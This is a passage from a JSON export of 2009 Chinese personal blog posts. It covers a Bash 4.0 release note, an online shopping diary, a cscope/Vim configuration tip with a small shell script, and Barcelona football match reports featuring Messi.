4.0\"\u003e4.0版本\u003c/a\u003e，该版本可以看作3.x的bugfix版，同时增加了诸如\u0026quot;Associative Arrays\u0026quot;等新特性。在Bash Shell的\u003ca href=\"http://cnswww.cns.cwru.edu/~chet/bash/bashtop.html\" title=\"Bash Shell\"\u003e官方站点\u003c/a\u003e你可以下载到最新的4.0版本，不过在GNU的\u003ca href=\"http://www.gnu.org/software/bash/bash.html\" title=\"GNU Bash\"\u003eBash主页\u003c/a\u003e上，似乎还找不到4.0版本的所在。Bash作为Linux系统默认Shell，一直受到广泛关注，而且它还是目前几大Shell(\u003ca href=\"http://en.wikipedia.org/wiki/Bourne_shell\" title=\"Bourne Shell\"\u003eBourne Shell\u003c/a\u003e, \u003ca href=\"http://en.wikipedia.org/wiki/C_shell\" title=\"C Shell\"\u003eC Shell\u003c/a\u003e、\u003ca href=\"http://www.kornshell.com/\" title=\"Korn Shell\"\u003eKorn Shell\u003c/a\u003e、Bash Shell)里唯一还继续维护和更新的Shell版本了，目前其主要维护者是\u003ca href=\"http://tiswww.case.edu/php/chet/\" title=\"Chet Ramey\"\u003eChet Ramey\u003c/a\u003e，Bash的两个原始作者之一。\u003c/p\u003e","title":"“扶正”Bash Shell"},{"content":"“中国人史纲”和“ThinkPad红点背包”，这两个八杆子也打不到的东西被我搁在一起放到本篇文章的题目中，这都源于近期的网购。\n上下班一直拎着公司配发的又重又难看的单肩包，早有换掉它的计划。平时忙，虽说有三好街这样的电脑配件集中的\u0026quot;大集市\u0026quot;，但也很少去“逛”，记忆中应该有一年多没有去过三好街了；在网购越来越“红火”的今天，我也选择了后者。上周六在“京东商城”看到了一款TARGUS代工的ThinkPad双肩红点包，价格比卓越网便宜很多，而且居然也比淘宝网便宜，遂动了心，价钱也不贵，样子还过得去，遂下了订单。这是我第一次在京东购物，与卓越网比起来，京东的购物流程比较繁琐，网上支付宝支付后居然还需要将订单号提供给京东财务核实。包包从北京送到这里快递费6元，“快递”了5天后，终于于今天到达。包是正品没有问题，看起来也比我预想的要精致许多、小巧许多，分量也不重，对这件包我还是比较满意的。\n我的ThinkPad双肩红点包(粗犷型双肩背包30R6345)\n我一直认为自己比较“孤陋寡闻”，知道有柏杨这位人文大师，那还是在去年网络上报道的“柏杨逝世”的消息时。年初给今年定下的目标之一就是“读史”。“平民著史”之大家柏杨的作品自然不能放过，在豆瓣的排行榜上“中国人史纲”这套两册书也是名列前茅。在卓越网这套书打了5折的折扣，还有一张介绍柏杨的光盘，觉得还是很合算的，就买下了。昨天这套书就送到了，晚上临睡觉前翻看了几页，第一印象很好，由于尚未深读，这里不敢妄加评价。\n柏杨的“中国人史纲”\n随“中国人史纲”一起买下的还有一本《黄帝内经·养生智慧》，北京中医药大学副教授曲黎敏著的，上过“名家论坛”。最近身体欠佳，买这本传统医学养生之书就全当心理安慰了。\n","permalink":"https://tonybai.com/2009/02/26/an-outline-history-of-china-and-thinkpad-pack/","summary":"\u003cp\u003e“中国人史纲”和“ThinkPad红点背包”，这两个八杆子也打不到的东西被我搁在一起放到本篇文章的题目中，这都源于近期的\u003ca href=\"http://tonybai.com/2007/11/15/buy-book-on-internet-for-the-first-time/\" title=\"网购\"\u003e网购\u003c/a\u003e。\u003c/p\u003e\n\u003cp\u003e上下班一直拎着公司配发的又重又难看的单肩包，早有换掉它的计划。平时忙，虽说有三好街这样的电脑配件集中的\u0026quot;大集市\u0026quot;，但也很少去“逛”，记忆中应该有一年多没有去过三好街了；在网购越来越“红火”的今天，我也选择了后者。上周六在“\u003ca href=\"http://www.360buy.com/\" title=\"京东商城\"\u003e京东商城\u003c/a\u003e”看到了一款\u003ca href=\"http://www.targus.com/\" title=\"TARGUS\"\u003eTARGUS\u003c/a\u003e代工的\u003ca href=\"http://www.lenovo.com/cn/zh/homepage.html\" title=\"ThinkPad\"\u003eThinkPad\u003c/a\u003e双肩红点包，价格比\u003ca href=\"http://www.amazon.cn/\" title=\"卓越网\"\u003e卓越网\u003c/a\u003e便宜很多，而且居然也比\u003ca href=\"http://www.taobao.com/\"\u003e淘宝网\u003c/a\u003e便宜，遂动了心，价钱也不贵，样子还过得去，遂下了订单。这是我第一次在京东购物，与卓越网比起来，京东的购物流程比较繁琐，网上\u003ca href=\"http://www.alipay.com/\" title=\"支付宝\"\u003e支付宝\u003c/a\u003e支付后居然还需要将订单号提供给京东财务核实。包包从北京送到这里快递费6元，“快递”了5天后，终于于今天到达。包是正品没有问题，看起来也比我预想的要精致许多、小巧许多，分量也不重，对这件包我还是比较满意的。\u003c/p\u003e","title":"“中国人史纲”和ThinkPad红点背包"},{"content":"拥有了某种工具，往往不等于就能使用好这种工具。拥有工具简单，用好工具、发挥出最大作用则较难。CSCOPE让VIM的使用者有了与SourceInsight\u0026quot;平起平坐“的机会，但是能否将CSCOPE的功能发挥出来还要看你是如何使用它了。\n自从VIM”重装上阵“以后，我一直在使用CSCOPE。在使用过程中还是发现了一些”别扭“的事情。一般我会在一个大型Project的源代码的顶层目录使用CSCOPE -Rbq来生成cscope.out文件，如果你在cscope.out所在目录执行VIM的话，VIM会优先将cscope.out作为”符号交叉索引库“(与ctags相比)，但是如果你在某个子目录下执行VIM进入编辑状态的话，因当前目录没有cscope.out，所以VIM无法加载cscope.out文件，也就无法在文件间跳转。而必要时你还需要手动执行命令行:cs add {TOP_LEVEL_PATH}/cscope.out才能连接到cscope，发挥其功用。\n还有一种情况，如果你有两份基本相同的代码库，其中一份A建立了cscope.out文件(在A的顶层目录使用CSCOPE -Rbq)，而另一份B没有建立，当使用B查看代码或编写代码时，手动add A库的cscope.out文件，然后打开B库子目录的一个文件，找到一个符号，用ctrl+]进行跳转，VIM会列出符号列表，当你选择一个时，VIM却提示你“E429: File xx/yy.h does not exist”，原因很简单，就是Cscope以相对路径存储了符号的位置，你从B库的工作目录下当然跳不过去了。\n现在我们就要解决这两个问题，我们要做到：\n无论在任何目录下执行VIM，VIM都会自动加载当前阶段常用的cscope.out，而无需手动加载； 让cscope.out内的符号以绝对路径的形式存储，这样无论在何处进入VIM，都能跳转到相应的符号定义的文件中； 其实解决上述两个问题的方法有多种，这里只是先说说我的一种方法，估摸着还不是最优的。在cscope官方有篇文章“Using Cscope on large projects”，里面关于cscope.out生成的方法可以解决第二个问题，即使用cscope.files来生成cscope.out。cscope.files中的内容很简单，就是文件列表，将你要进行扫描的所有文件的路径cscope.files中，然后执行cscope -bqk即可得到cscope.out。如果你要解决问题2，那你就将要进行扫描的文件的绝对路径名加入到csccope.files中。用find命令可以轻松帮你做到这一点。这里将这个工作放到了一个shell脚本中去完成了，脚本具有一定的通用性(我的脚本水平：菜鸟级^_^)：\n/* gen_cscope_files.sh */\n#! /bin/bash\nTARGET=\u0026rsquo;/export/home1/username/cscope_db/cscope.files\u0026rsquo;\ngen_cscope_files_usage() {\necho \u0026ldquo;gen_cscope_files.sh 源码顶层目录(绝对路径) 待扫描子目录1 [待扫描子目录2] … [待扫描子目录N]\u0026rdquo;\n}\nif [ -z ${1} ]; then\necho \u0026ldquo;请输入起始目录!\u0026rdquo;\ngen_cscope_files_usage\nexit 1\nfi\nif [ ${1:0:1} != \u0026lsquo;/\u0026rsquo; ]; then\necho \u0026ldquo;请输入起始目录的绝对路径形式!\u0026rdquo;\ngen_cscope_files_usage\nexit 1\nfi\nif [ ${#} -lt 2 ]; then\necho \u0026ldquo;请输入你要扫描的子目录列表!\u0026rdquo;\ngen_cscope_files_usage\nexit 1\nfi\nif [ -s ${TARGET} ]; then\ncat /dev/null \u0026gt; ${TARGET}\nfi\nfor dir in $@\ndo\nif [ ${dir} != ${1} ]; then\nfind ${1}/${dir} \\\n-name \u0026ldquo;*.[hc]\u0026rdquo; \\\n-print \u0026raquo; ${TARGET}\nfi\ndone\n这样你只要选择好你的cscope.files的存放位置(在上面的脚本中是写死的，当然你也可以修改脚本，通过命令行参数传入cscope.files的存放位置)，给gen_cscope_files.sh一个源码的顶层目录(绝对路径)，再给出你要扫描的子目录列表即可，比如：gen_cscope_files.sh /export/home/username/proj/foo include src\n以上解决了问题2，那问题1呢？我们在.vimrc中做文章。以下代码保证了每次vim被执行后都会将上面生成的cscope.out加载。\nif has(\u0026ldquo;cscope\u0026rdquo;)\nif filereadable(\u0026quot;/export/home1/username/cscope_db/cscope.out\u0026quot;)\ncscope add /export/home1/username/cscope_db/cscope.out\nendif\nendif\n到目前为止，你在B库中在任意目录下打开的文件都可以找到相应符号的位置。\n","permalink":"https://tonybai.com/2009/02/23/solve-some-problems-when-using-cscope/","summary":"\u003cp\u003e拥有了某种工具，往往不等于就能使用好这种工具。拥有工具简单，用好工具、发挥出最大作用则较难。\u003ca href=\"http://cscope.sourceforge.net/\"\u003eCSCOPE\u003c/a\u003e让\u003ca href=\"http://www.vim.org/\"\u003eVIM\u003c/a\u003e的使用者有了与SourceInsight\u0026quot;平起平坐“的机会，但是能否将CSCOPE的功能发挥出来还要看你是如何使用它了。\u003c/p\u003e\n\u003cp\u003e自从\u003ca href=\"http://tonybai.com/2008/12/30/in-depth-study-vim/\"\u003eVIM”重装上阵“\u003c/a\u003e以后，我一直在使用CSCOPE。在使用过程中还是发现了一些”别扭“的事情。一般我会在一个大型Project的源代码的顶层目录使用CSCOPE -Rbq来生成cscope.out文件，如果你在cscope.out所在目录执行VIM的话，VIM会优先将cscope.out作为”符号交叉索引库“(与ctags相比)，但是如果你在某个子目录下执行VIM进入编辑状态的话，因当前目录没有cscope.out，所以VIM无法加载cscope.out文件，也就无法在文件间跳转。而必要时你还需要手动执行命令行:cs add {TOP_LEVEL_PATH}/cscope.out才能连接到cscope，发挥其功用。\u003c/p\u003e","title":"CSCOPE使用中问题小解"},{"content":"无轮2008-09赛季巴萨最终拿到零冠还是一冠，亦或两冠还是三冠，2009年二月份的下半月注定都是让巴萨众将士以及全世界的巴萨球迷们难以忘怀的日 子。两平一负，这样的战绩即使是在瓜迪奥拉执教巴萨的联赛初期都不曾有过，要知道巴萨在本赛季联赛前三轮的磨合期期间也是拿到了一胜、 一平、一负的。\n2009年2月15日，洛佩拉球场险平贝蒂斯；\n2009年2月22日，诺坎普主场26年来首负“副班长”西班牙人；\n2009年2月25日，法国日尔兰球场逼平法甲王里昂。\n要说与贝蒂斯一役， 巴萨受“FIFA病毒”影响较大还有情可原。场上的巴萨球员也的确尽显“疲态”。瓜帅安排梅西下半场出场也主要是为了摆出“震慑”的牌子，没有动真格的意 思，梅西亦心灵神会。出场不久就从右路转移到中路，扮演上了组织者的角色，显然这样的梅西在场上的威胁程度要笑了许多。但巴萨还是幸运，凭借埃托奥的发挥 勉强获得了一场平局。这一轮让皇马趁机追上2分；10分差距让球迷还继续保持乐观。\n接下来巴萨众将士难得的整整修正了一周，梅西也得以充足了“电”。巴萨在诺坎普以几乎全部主力首发迎接“副班长”西班牙人的挑战。都说“德比”难打，这次 巴萨的经历再次印证了这一点。西班牙人正确的战术严重遏制了巴萨的中前场进攻，甚至可以说让巴萨的前后场出现脱节。前场不能给对手足够压力的情况下，巴萨 的后场防守也“乱”了起来。先是阿比达尔受伤下场，接下来就是凯塔红牌被罚下，最后“黄油手”巴尔德斯鬼使神差的为对手献上“大礼包”。本场“充满电”的 梅西没能如大家期望的那样有出色发挥，除了左路一脚任意球帮助图雷在混乱中打入一粒挽回颜面的进球外，梅西似乎失去了以往的灵性，突破减少，失误却相对增 多。在右路与阿尔维斯的配合也大不如以前默契和犀利了。右路突破受阻，梅西换位到左路和中路，由于队友同样低靡，所以梅西不能得到足够的支持。足球终究还 是11个人的运动，缺了队友的强力支持，即使是拥有球王般禀赋的梅西又能如何呢？1:2的比分保持到了终场，也许这场失利是大家赛前都没有预料到的，以前 那个场均\u0026gt;3个进球、已经许久没有尝过失败是什么滋味儿的热的发烫的巴萨居然在自己的主场，在家门口毫无脾气的彻彻底底的输给了对手，还损失了两元 大奖-阿比达尔和凯塔，也许大家心里面短时间还转不过这个劲儿来。皇马趁机将积分差距缩小为7分。巴萨的优势岌岌可危了。\n梅西，突破才你的利器\n让突破在犀利些吧\n三天后，巴萨带着一平一负的郁闷战绩飞抵法国，迎战法甲王里昂。全世界的巴萨球迷都希望巴萨能在欧洲战场上出口恶气，冲冲霉运。特别是有梅西这个里昂“克 星”助力。但比赛过程再次与大家开了个玩笑，巴萨还是在先丢球后，惊险的由亨利扳平，客场也算是全身而退吧。被寄予厚望的梅西表现依旧低靡，在高大的意大 利伟大的左后卫格罗索的防守下，梅西毫无脾气，几次一对一的突破都让格罗索“合理”的断掉，裁判也毫不理会梅西的抗议。在右路受阻的梅西情绪上有所波动， 失误就更加“频频”了。上半场里昂几乎掐断了巴萨的前后场，巴萨无奈只能频频从后场直接发动进攻，而远离对方禁区的梅西、亨利和埃托奥组成的三叉戟在这样 的进攻模式下几乎处于停滞状态。巴萨从第40分钟开始恢复状态。下半场巴萨没有给里昂机会，梅西同样也没有得到进球的“好机会”。\n同一支巴萨，不同的状态\n哪里跌倒，就要在哪里爬起来\n这三场比赛，瓜帅的调兵遣将和临场指挥也受到了质疑，但是对于年轻的瓜迪奥拉而言，失败往往让他能更多更快的认识到目前巴萨还不是最好的，还有很长的路要走，而他自己也能在“失败”中更快的成熟起来。\n“不在沉默中爆发就在沉默中死亡”，明天凌晨巴萨客场调战马德里竞技，巴萨需要胜利来恢复自信心，梅西同样需要进球来证明自己是名副其实的巴萨国王。毕竟中国有句俗话：“再一再二不能再三再四”。\n我会回来的\n微博：@tonybai_cn\n微信公众号：iamtonybai\ngithub.com: https://github.com/bigwhite\n","permalink":"https://tonybai.com/2009/02/15/barca-vs-espanyol/","summary":"\u003cp\u003e无轮2008-09赛季巴萨最终拿到零冠还是一冠，亦或两冠还是三冠，2009年二月份的下半月注定都是让巴萨众将士以及全世界的巴萨球迷们难以忘怀的日 子。两平一负，这样的战绩即使是在瓜迪奥拉执教巴萨的联赛初期都不曾有过，要知道巴萨在本赛季联赛前三轮的磨合期期间也是拿到了一胜、 一平、一负的。\u003c/p\u003e","title":"梅西·国王低靡巴萨亦低靡"},{"content":"2009年2月15日凌晨3点（北京时间），2008-09赛季西班牙甲级联赛第23轮拉开战幕，联赛领头羊巴塞罗那队做客洛佩拉体育场迎战皇家贝蒂斯。 本周中巴萨一线队中15名球员入选各自国家队参加了国际足球比赛日那天的国家队比赛，一支被“FIFA病毒”侵袭过的疲劳的巴萨能否在贝蒂斯的魔鬼主场取 得比赛胜利是赛前大家都关注的问题。巴萨近几年在洛佩拉的战绩处于下风，这也给这场比赛带来了诸多的悬念。另外还值得一提的就是巴萨10号梅西虽然在西甲已经奋斗五年了，但还未曾在洛佩拉体育场打过比赛。如果本场比赛瓜帅安排梅西出场的话，那将是小将梅西首次亮相洛佩拉。\n尽管赛前瓜帅不承认球队将受到“FIFA病毒”的影响，但是从巴萨的首发阵容来看，“FIFA病毒”对巴萨的影响和大家赛前预测的一样：很严重。最让人诟病的就是中卫搭档，普约尔受伤，马科斯参加了周中墨西哥对阵美国的世界杯外围赛，长途跋涉很晚才归队。瓜帅居然安排两名20出头的小将皮克和 卡塞雷斯搭档为巴萨镇守中路。而小将卡塞雷斯在本赛季的联赛中就没打过几场，瓜帅不用老将希尔韦尼奥或者让图雷或凯塔改打中卫让大家都提心掉胆。同样是参 加了国家队友谊赛的阿尔维斯和阿比达尔继续分列两翼。中路哈维、凯塔和小将布斯克茨联袂出战，前面赫莱布和伊捏斯塔分别替换梅西和亨利出任首发，与猎豹埃 托奥组成前场三叉戟。参加法阿大战的梅西和亨利坐在替补席观战。\n贝蒂斯上一轮联赛战胜了同城对手塞维利亚，士气大振，本场比赛全队上下都欲借主场之势狙击巴萨，停止巴萨连胜的步伐。与巴萨相比，贝蒂斯基本未受国际足球比赛日的影响，主力基本都在阵中。\n比赛一开始，巴萨利用控球优势占据场上主动，哈维、伊捏斯塔和右路的阿尔维斯表现活跃，屡次威胁对方球门。但从开场的10几分钟来看，巴萨队员明显在体力 准备上处于劣势，对于足球这种运动来说，如果没有充足的体力做保证的话，场上的发挥就会大打折扣，身体对抗、传球力度的把握以及比赛的专注度都会受到较大 影响，特别是对巴萨这种主打技术流、以攻带守、打4-3-3的球队，如果在中前场不能给对手足够的压力，那后场就危险了。第18分钟，这种担心转变为了对 手的进球。贝蒂斯的一次左路角球，中路队员头球攻门得手，比分变为1:0，巴萨客场落后。虽然比分落后，但巴萨控球率仍然很高，哈维依旧在中场耐心的组 织，左路的伊捏斯塔甚是活跃，多次从左路突破对手防线助攻队友或自己射门，但都没能转化为进球。这场比赛贝蒂斯门将里卡多甚是兴奋，多次化解巴萨绝佳的进 球机会。\n第25分钟，巴萨后防线再出漏洞，贝蒂斯右路定位球传中，球在门前滑过找到后点的贝蒂斯前锋马克.冈萨雷斯，巴萨后防漏人，冈萨雷斯在无人盯防的情况下舒服的起脚射门，门将巴尔德斯对此球也无能为力，巴萨客场0：2落后。在本赛季的所有比赛中，巴萨还从未经历过如此大比分的落后。唯一值得庆幸的是此时留给巴萨队员的时间还算充足。\n两球落后的巴萨大举反攻，伊捏斯塔和阿尔维斯从左右两路反复冲击对手的防线，这样的冲击直到上半场结束前的一分钟才收到成效。当时伊捏斯塔左路突破至对方 禁区内被对方球员放倒，主裁判毫不犹豫的判给巴萨一粒金子般的点球。埃托奥主罚这个点球，贝蒂斯门将里卡多居然判断对了埃托奥主罚点球的方向将皮球扑出， 但猎豹就是猎豹，迅速上前补射中的。巴萨扳回一球，带着一球的劣势结束上半场比赛。\n下半场比赛开始后，两队都未调整阵容，但巴萨的进攻依然没有太多起色，体能欠缺让巴萨失误率较高，顶替梅西出任首发的赫莱布基本消失在赛场上了。眼看时间一分一秒的流逝，想必此时巴萨的球迷们早就将眼光放到了替补席的梅西身上了。瓜帅没有让大家等待太久，第58 分钟，梅西和亨利一起替补上场，梦游般的赫莱布被替下，发挥尚可的凯塔也被瓜帅换下，此时主力三叉戟到齐，巴萨开始猛攻，试图追平和反超比分。 梅西上场后显得并不是很兴奋，在右路踢了一会儿后，就转移到了中路，有时还跑到左路。梅西上场后少有犀利的向前突破，而是出任一种组织的角色，三次中路分 球给亨利可见一斑，也许这是瓜帅特意安排的。毕竟只有保持健康状态的梅西才是对巴萨最有益的。巴萨要的是能在整个赛季持续发挥核心作用的梅西，而不是一两 场疯狂表演后就受伤休战的梅西。对比本赛季的梅西和前几个赛季的梅西大家就可以看出：只有持续保持健康的梅西才能发挥出最大的作用。因此本场梅西被雪藏， 以及对梅西上场后角色的安排上都内含保护梅西的意义，毕竟巴萨还有20多场比赛要面对，梅西还有的是时间去尽情表演。\n主力三叉戟在场，巴萨的进攻终于有了起色。似乎大家马上都收复了信心似的，场上巴萨的节奏控制了比赛。为了加强进攻，瓜帅将博扬也换上场，这样巴萨四名前 锋轮番轰炸对手。终于在第84分钟巴萨追平比分，又是埃托奥！埃托奥接哈维传球，禁区内摆脱三名后卫纠缠，右脚劲射得分（此时梅西在左路对贝蒂斯后卫的牵 涉作用也也是不可忽视的），2:2。之后，巴萨众将士继续对贝蒂斯施加压力，以求反超对手，但最终也没能实现反超，奇迹没能上演，巴萨停止了连胜的脚步。\n梅西洛佩拉首演，表现中规中举。但本场梅西还是获得了几次机会的，第70分钟，梅西左路接阿比达尔传中，头球近角攻门偏出。第 87分钟，梅西与埃托奥配合，左路突破对手防线，左脚劲射，再次被表现神勇的里卡多扑出，因射门力量较大，里卡多扑球后球脱手，埃托奥差点将球抢下上演帽 子戏法，但里卡多最终还是将球再次拿住。梅西没能如大家期望那样继续上演对阵桑坦德那场比赛中的神奇表现，没能帮助球队逆转对手，想必巴萨球迷也是可以理 解的。毕竟梅西最近太疲劳了，适当的“收”从全局来看是正确的选择。\n梅西在比赛中\n梅西的表情让人难以琢磨\n微博：@tonybai_cn\n微信公众号：iamtonybai\ngithub.com: https://github.com/bigwhite\n","permalink":"https://tonybai.com/2009/02/15/betis-vs-barca/","summary":"\u003cp\u003e2009年2月15日凌晨3点（北京时间），2008-09赛季西班牙甲级联赛第23轮拉开战幕，联赛领头羊巴塞罗那队做客洛佩拉体育场迎战皇家贝蒂斯。 本周中巴萨一线队中15名球员入选各自国家队参加了国际足球比赛日那天的国家队比赛，一支被“FIFA病毒”侵袭过的疲劳的巴萨能否在贝蒂斯的魔鬼主场取 得比赛胜利是赛前大家都关注的问题。巴萨近几年在洛佩拉的战绩处于下风，这也给这场比赛带来了诸多的悬念。另外还值得一提的就是巴萨10号梅西虽然在西甲已经奋斗五年了，但还未曾在洛佩拉体育场打过比赛。如果本场比赛瓜帅安排梅西出场的话，那将是小将梅西首次亮相洛佩拉。\u003c/p\u003e","title":"梅西·亮相洛佩拉未演神奇"},{"content":"2009年2月12日（北京时间）凌晨4点，国际足球比赛日迎来一场焦点之战，两星劲旅潘帕斯高原的蓝白军团阿根廷队做客马赛迎战高卢雄鸡一星法国队。众所周知本支阿根廷队中最大牌的人物某过于主帅马拉多纳了，这个国际公认的球王在赛前可以说是抢足了风头，就连当今地球上现役球员中状态最好、人气最旺的梅西也 无法企及^_^，想必这是在以往任何球队中都少见的现象。本场比赛是“马大帅”执教以来的第二场国家队比赛，同时也是天才梅西与球王马拉多纳在国家队的第 一次“合作”，本次合作能否成功是本场比赛的最大看点。另外本场比赛还有一个看点，那就是巴萨内部队友间的PK。由于在各自球队位置上的原因，梅西将在场 上直面巴萨队友亨利+阿比达尔。赛前阿比达尔在接受采访时还开玩笑的说：如果踢伤梅西，肯定会被巴萨开除的。亨利场外对梅西也是赞赏有加。但场上究竟会如何上演队内PK呢，无疑值得大家关注。\n从两队交锋的历史战绩上来看，法国队输多胜少，处于下风。双方最近的一次对决是在2007年2月7日，那场比赛法国0:1小负阿根廷，所以媒体也称这场比赛是法国队的复仇之战。本场比赛，马拉多纳安排来自拉齐奥的卡里佐担任主力门将，国米的萨内蒂、皇马的海因策、拜仁的德米凯利斯和来自国内萨斯菲尔德的帕帕组成近似豪华的后卫线，中场利物浦的马斯切拉诺、皇马的加戈、马竞的马克西·罗格里格斯和纽卡斯尔的古铁雷斯都以防守见长，这在以往的阿根廷国家队中似乎不是很常见，印象中阿根廷中前场可是进攻型人才济济，这是否是本支阿根廷队的一大不足之处呢？比赛后见分晓。锋线上则是上演“小鬼当家”：梅西+阿圭罗（KUN）。相比而言，法国队的阵容更加平衡，古尔库夫+里贝里主攻，L-迪亚拉+图拉郎主守，阿内尔卡+亨利充当箭头。\n赛前训练中梅西与球王沟通\n阿根廷锋线三箭头（阿圭罗（左二）、梅西、特维斯）在训练中\n上半场法国队利用“主场”之势占据了主动，中场古尔库夫和里贝里的组织让法国队牢牢控制住了中场，阿根廷的中场在控球上处于劣势，这让人不得不想起巫师贝隆。 双方上半场踢的都较“紧”，给对手的进攻空间都不是很充裕，所以场面上也显得激烈有余而流畅不足，法国队的中场“茅”与阿根廷的中场“盾”激烈碰撞，“人 仰马翻”的镜头也就难免频频出现了。梅西在开场后15分钟才获得绝佳机会，梅西接到阿圭罗传球，左路内切摆脱3名后卫，在点球点附近左脚推射，此时门将方 向判断错误已经无能为力了，但皮球却鬼使神差的被回追的法国后卫加拉伸 脚挡出，面对此球不进梅西也无奈的用头垂地。梅西在场上的位置飘忽不定，左中右路都能看到其身影，与阿圭罗的换位很频繁，让法国后卫很是头疼。几次镜头抓 到阿比达尔+亨利联手防梅西，还好阿比达尔只是站好位置，没有对梅西进行铲球拦截。但上半场双方的火药味不可谓不浓，一场友谊赛黄牌也是不少出。加戈和 L-迪亚拉虽是队友，但场上却丝毫不让份，差点擦出火花。马斯切拉诺对L_迪亚拉的凶狠抢断也是表达了愤怒，还好裁判及时制止了二人。\n球王马拉多纳在临场指挥\n梅西突破迪亚拉\n梅西防守古尔库夫\n梅西突破里贝里\n第41分钟，阿根廷率先打破僵局。阿根廷后场长传到前场，阿圭罗右侧禁区边缘拿球后突破到底线，闪开一 个空档将球传给左路插上的古铁雷斯，古铁雷斯左路禁区拿球后，闪开对方一名后卫，在门前12米处倒地右脚扫射，这个球门将虽然做出了扑救动作，但无奈球飞 行过程中有一个弹地动作，门将曼丹达只能眼看着球窜入球门近脚，1比0！入球后的阿根廷球员似乎一下子释放了压力，控球渐多。就这样阿根廷带着一个球的优势结束了上半场。\n射入首球的古铁雷斯\n下 半场，双方均没有换人，阿根廷的进攻组织依然不甚连贯，由于中场缺少像巴萨的哈维那样的进攻组织者，我们能看到的多为两名小将梅西和阿圭罗在中场拿球前 突，这样的威胁性势必要减小不少，球多被对方犯规断下。梅西在右路由于缺少像阿尔维斯这样的帮手也显得无助，老迈的萨内蒂自顾不暇，哪能给梅西足够的支持 呢。同样法国队也没能获得很好机会，中前场进攻组织甚至还不如上半场，多梅内克也用10号本泽马换下梦游一般碌碌无为的阿内尔卡加强进攻。\n迪亚拉与里贝里夹击梅西突破\n第81分钟，马拉多纳换下女婿阿圭罗，11号野兽特维斯替 补出场，这一换人立竿见影。仅仅两分钟后，法国队在阿根廷左路发出角球，阿根廷球员禁区内抢到第一点，用头将球顶出，外围的法国球员在特维斯的干扰下，丢 球，球滚到梅西脚下，梅西背身将球传给身后插上的特维斯，特维斯高速突破到中场附近，在L.迪亚拉贴身干扰和拦截下急停转身将球传给插上的梅西，梅西在对 方四名后卫的包夹和干扰下带球长途奔袭至大禁区左侧，在距门13米处左脚低射中的，2:0！梅西也打入了加入马拉多纳这支阿根廷队后的第一粒进球，而且是 一粒相当精彩的世界波进球。当然这粒进球野兽特维斯也功不可没，进球后梅西也热情拥抱了特维斯，感谢其精妙的突破和助攻。2:0之后法国队的队员显然失去 了斗志，也就无暇恋战了。最终凭借梅西的锁定胜局的入球两星阿根廷队再次战胜一星法国队，老马也取得了执教阿根廷后的第二场胜利。\n梅西射门瞬间\n梅西进球后怒吼\n梅西和加戈：国家队里是队友，联赛中是对手\n梅西和马拉多纳的首次合作看来是完美的，与队友的PK也是完全占据了上风，梅西的精彩表演让法兰西式的浪漫之中又多了些探戈的色彩，其拿破仑式的征服彻底让全场球迷倒戈。\n微博：@tonybai_cn\n微信公众号：iamtonybai\ngithub.com: https://github.com/bigwhite\n","permalink":"https://tonybai.com/2009/02/12/barca-vs-racing_santander-2/","summary":"\u003cp\u003e2009年2月12日（北京时间）凌晨4点，国际足球比赛日迎来一场焦点之战，两星劲旅潘帕斯高原的蓝白军团阿根廷队做客马赛迎战高卢雄鸡一星法国队。众所周知本支阿根廷队中最大牌的人物某过于主帅马拉多纳了，这个国际公认的球王在赛前可以说是抢足了风头，就连当今地球上现役球员中状态最好、人气最旺的梅西也 无法企及^_^，想必这是在以往任何球队中都少见的现象。本场比赛是“马大帅”执教以来的第二场国家队比赛，同时也是天才梅西与球王马拉多纳在国家队的第 一次“合作”，本次合作能否成功是本场比赛的最大看点。另外本场比赛还有一个看点，那就是巴萨内部队友间的PK。由于在各自球队位置上的原因，梅西将在场 上直面巴萨队友亨利+阿比达尔。赛前阿比达尔在接受采访时还开玩笑的说：如果踢伤梅西，肯定会被巴萨开除的。亨利场外对梅西也是赞赏有加。但场上究竟会如何上演队内PK呢，无疑值得大家关注。\u003c/p\u003e","title":"梅西·入制胜球两星胜一星"},{"content":"2009年2月9日凌晨2点（北京时间），西班牙足球甲级联赛第22轮巴萨主场迎来了升班马希洪竞技队的 挑战。在本赛季第三轮两队的首度较量中，巴萨曾经在希洪竞技的主场以6:1的大比分拿对手“祭旗”，赢得巴萨本赛季的首场胜利。同时那场大胜也一扫巴萨赛 季开局不利的阴霾，拉开了巴萨领跑欧洲联赛的大幕。本场比赛开场前，球队在容纳近10万人的诺坎普体育场举行了一个小型的庆祝仪式，庆祝巴萨在上一场与桑 坦德竞技的比赛中打入俱乐部历史上的第5000个西甲联赛进球，而“5000球先生”-巴萨新国王梅西也顺理成章的成为这次庆祝仪式的主角，巴萨为此还请来了俱乐部历史上的“3000球先生”恩里克-奎尼和“4000球先生”阿莫尔为仪式助兴。\n希 洪竞技目前位列西甲中下游，按照CCTV5解说员的说法：希洪竞技是一支“性格”球队，在本赛季已经踢完的21轮比赛中，希洪竞技非胜即负，还从未与对手 打平过。本场比赛希洪竞技的主教练“停赛”，无奈只能在看台上遥控指挥，赛前他扬言本场比赛希洪竞技仍然会选择与巴萨打对攻。反观巴萨，上一轮比赛虽然凭 借梅西的神奇表现逆转了桑坦德竞技，但两名中卫皮克和马科斯均因累积红牌被停赛，瓜帅无奈启用小将卡塞雷斯；幸运的是赛前阿尔维斯上一轮的黄牌被取消，队 长普约尔伤愈复出，这才避免了巴萨后防线的“无人可用”。在昨天的比赛中，在积分榜上虽落后12分但仍苦苦追赶巴萨的皇家马德里在主场伯纳乌1:0小胜， 这也给巴萨众将士以一定压力。此场比赛亨利、埃托奥和梅西组成的主力“三叉戟”首发，哈维、伊涅斯塔和小将布斯克茨组成进攻型中场，防守型中场球员图雷和 凯塔则坐在替补席，显然瓜迪奥拉要利用主场之势全力拿下对手，继续拉开与皇马的积分差距，领跑西甲。\n本场比赛还有另一个看点：那就是谁能 打入本赛季巴萨的第100粒进球（联赛、国王杯和冠军杯进球数加在一起），“三叉戟”亨利、埃托奥和梅西都被外界媒体所看好。从直播画面来看，诺坎普球场 有阵风，上半场比赛巴萨顺风踢，一开场，希洪竞技果然在中前场拼抢很凶猛，2分钟后，巴萨渐渐控制住局面，哈维中路挑传，亨利左路胸部停球过大浪费了一次 绝佳的进攻机会。第3分半钟，梅西左路内切连续与队友配合，对方多名后卫包夹梅西，球在禁区被对手大脚化解。刚开场梅西还是很活跃的，刚从右路发起一次进 攻后，梅西又转移到左路与亨利做配合切入禁区，球再次被对手合围破坏。希洪竞技在巴萨的强大中前场压力下不得不全面转入防守。第6分钟，伊涅斯塔中路突然 